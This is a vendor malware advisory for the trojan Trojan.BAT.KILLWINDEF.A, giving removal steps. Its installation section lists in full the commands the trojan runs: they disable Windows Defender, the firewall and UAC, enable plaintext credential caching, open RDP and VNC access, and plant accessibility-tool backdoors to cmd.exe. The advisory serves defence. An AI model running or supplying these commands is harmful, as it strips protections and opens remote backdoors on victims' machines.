Trojan.BAT.KILLWINDEF.A

April 20, 2022
 Analysis by: Mc Justine De Guzman
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

160,032 bytes

File Type:

EXE

Initial Samples Received Date:

09 Mar 2022

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
  • REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d 0x1 /f
  • REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 0x2 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v "NotificationSuppress" /t REG_DWORD /d 0x1 /f
  • reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
  • reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh advfirewall firewall add rule name="VNC" dir=in protocol=TCP localport=7744 action=allow
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HelpPane.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fDenyTSConnections /t REG_DWORD /d "00000000"
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fAllowUnsolicited /t REG_DWORD /d "00000001"
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v UserAuthentication /t REG_DWORD /d "00000000"
  • REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v SecurityLayer /t REG_DWORD /d "00000001"
  • REG add "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /v Start /t REG_DWORD /d 4 /f
  • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f
  • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /t REG_DWORD /d 0 /f
  • NetSh Advfirewall set allprofiles state off
  • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
  • REG ADD "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpCloudBlockLevel /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start" /t REG_DWORD /d 4 /f
  • gpupdate /target:computer /force

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
INSTDIR = C:\Windows

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
Word = 3735928559

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
parrent = 12

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
WARNING = 247

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
Bin = {Hex bytes}

Other Details

This Trojan adds the following registry keys:

HKEY_CURRENT_USER\Software\Virtual Box Inc.

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.486.03

FIRST VSAPI PATTERN DATE:

05 Apr 2022

VSAPI OPR PATTERN File:

17.487.00

VSAPI OPR PATTERN Date:

06 Apr 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • INSTDIR = C:\Windows
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • Word = 3735928559
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • parrent = 12
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • WARNING = 247
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • Bin = {Hex bytes}

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.
    • = ""
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • = ""

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KILLWINDEF.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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